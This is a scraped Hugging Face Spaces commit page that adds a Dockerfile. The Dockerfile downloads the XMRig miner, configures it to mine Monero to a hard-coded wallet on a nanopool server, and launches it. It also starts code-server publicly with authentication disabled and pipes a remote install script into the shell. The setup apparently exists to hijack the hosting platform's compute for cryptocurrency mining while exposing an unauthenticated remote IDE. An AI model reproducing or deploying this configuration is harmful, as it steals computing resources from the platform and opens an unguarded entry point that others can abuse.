Spaces:
Paused
Paused
Create Dockerfile
Browse files1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465# Use the latest Ubuntu imageFROM ubuntu:latest
# Set environment variables to avoid interactive prompts during installationENV DEBIAN_FRONTEND=noninteractive
# Install dependenciesRUN apt-get update && apt-get install -y \ curl \ tar \ && rm -rf /var/lib/apt/lists/*
# Download and install XMRigRUN curl -L -o xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz \ && tar -xzf xmrig.tar.gz \ && rm xmrig.tar.gz
# Install code-serverRUN curl -fsSL https://code-server.dev/install.sh | sh
# Switch to root userUSER root
# Set DNS servers in resolv.confRUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \ && echo "nameserver 1.0.0.1" >> /etc/resolv.conf
# Create XMRig configuration fileRUN mkdir -p /xmrig-6.22.0 \ && tee /xmrig-6.22.0/config.json > /dev/null <<EOF{ "autosave": true, "cpu": true, "opencl": false, "cuda": false, "pools": [ { "coin": "monero", "url": "xmr-asia1.nanopool.org:14433", "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi", "tls": true } ]}EOF
# Create and set up the start scriptRUN echo '#!/bin/bash\n\\n\# Start XMRig in the foreground\n\/xmrig-6.22.0/xmrig --config /xmrig-6.22.0/config.json\n\\n\# Start code-server in the background\n\code-server --bind-addr 0.0.0.0:7860 --auth none &' > /start.sh \ && chmod +x /start.sh \ && chmod u+rwx /start.sh
# Set the working directoryWORKDIR /xmrig-6.22.0
# Expose necessary portsEXPOSE 3333 7860
# Run the startup scriptCMD ["/start.sh"]DockerfileAdded+65